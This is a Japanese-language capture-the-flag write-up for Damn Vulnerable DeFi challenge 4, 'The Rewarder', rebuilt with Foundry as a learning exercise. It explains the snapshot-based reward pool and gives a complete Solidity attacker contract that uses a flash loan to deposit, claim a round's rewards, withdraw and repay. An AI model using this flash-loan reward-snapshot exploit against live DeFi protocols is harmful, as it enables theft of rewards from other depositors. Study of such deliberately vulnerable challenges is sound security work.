#チャレンジ#4- The Rewarder
Solidity と Foundry のシステム学習のために、私は Foundry テストフレームワークを使用して damnvulnerable-defi の解答を再作成しました。交流や共同開発を歓迎します〜🎉
コントラクト#
この問題にはいくつかのコントラクトが関係していますが、まず ERC20Snapshot コントラクトを紹介します。
ERC20Snapshot:ERC20 を継承し、SnapshotId を使用して各スナップショット時点のアカウント残高と総供給量を追跡できます。ERC20 トークンの transfer の前に、現在のスナップショット ID のアカウント残高と総供給を更新するために beforeTransfer が使用されます。通常、配当、投票、エアドロップなどのスナップショットシナリオに使用されます。
この問題では、RewardToken、AccountingToken、LiquidityToken、および TheRewarderPool の 4 つのコントラクトが主要な役割を果たしており、それらの関係は次のようになっています。
- TheRewarderPool は、deposit および withdraw メソッドを提供します。
- deposit:ユーザーが liquidityToken を預け入れ、対応する株式の AccountingToken を発行し、現在のスナップショットラウンドに基づいて一定数の rewardToken を発行します。新しいスナップショットラウンドは 5 日ごとに発生します。
- withdraw:対応する株式の AccountingToken を焼却し、ユーザーが預け入れた liquidityToken をユーザーに転送します。
さらに、この問題ではフラッシュローンコントラクトも提供されており、liquidityToken をフラッシュローンで借り出すために使用できます。
テスト#
- alice、bob、charlie、david の 4 人のユーザーを作成し、users として記録します。
- LiquidityToken FlashLoanerPool コントラクトをデプロイし、FlashLoanerPool に liquidityToken を TOKENS_IN_LENDER_POOL の数だけ転送します。
- TheRewarderPool(RewardToken AccountingToken も含む)をデプロイします。
- users 配列を繰り返し処理し、各ユーザーに一定数の liquidityToken を転送し、TheRewarderPool に deposit します。この時点でラウンドは 1 です。
- ブロックのタイムスタンプを 5 日後に設定し、再度 users 配列を繰り返し処理し、distributeRewards を順番にトリガーします。各ユーザーは rewardToken を均等に受け取ります。この時点でラウンドは 2 です。
- 攻撃スクリプトを実行します。
- 現在のラウンドが 3 であることを期待し、users 配列を繰り返し処理し、distributeRewards をトリガーします。各ユーザーが受け取る rewardToken は元の 1/4 よりも少なくなります。
- player の rewardToken 残高が 0 より大きいことを期待します。
- player の liquidityToken の数が 0 であり、FlashLoanerPool の liquidityToken の数は変わらないことを期待します。
解答#
追加のユーザーアクションがない場合、次のラウンドでの報酬の割り当ては、users 配列の 4 人のユーザーが引き続き報酬を受け取ることを意味します。各ユーザーが受け取る rewardToken は総数の 1/4 です。
テストスクリプトの期待値を達成するために、player が rewardToken の配分に参加する必要があります。これは、liquidityToken をフラッシュローンで借り出し、TheRewarderPool に deposit することで実現できます。この時点で新しいラウンドの rewardToken の配分がトリガーされ、withdraw を使用して liquidityToken を償還し、FlashLoanerPool に返却します。
攻撃コントラクトのコードは以下の通りです:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
FlashLoanerPool flashloan;
TheRewarderPool pool;
DamnValuableToken dvt;
RewardToken reward;
address internal owner;
constructor(address _flashloan,address _pool,address _dvt,address _reward){
flashloan = FlashLoanerPool(_flashloan);
pool = TheRewarderPool(_pool);
dvt = DamnValuableToken(_dvt);
reward = RewardToken(_reward);
owner = msg.sender;
}
function attack(uint256 amount) external {
flashloan.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external{
dvt.approve(address(pool), amount);
// deposit liquidity token get reward token
pool.deposit(amount);
// withdraw liquidity token
pool.withdraw(amount);
// repay to flashloan
dvt.transfer(address(flashloan), amount);
reward.transfer(owner, reward.balanceOf(address(this)));
}
}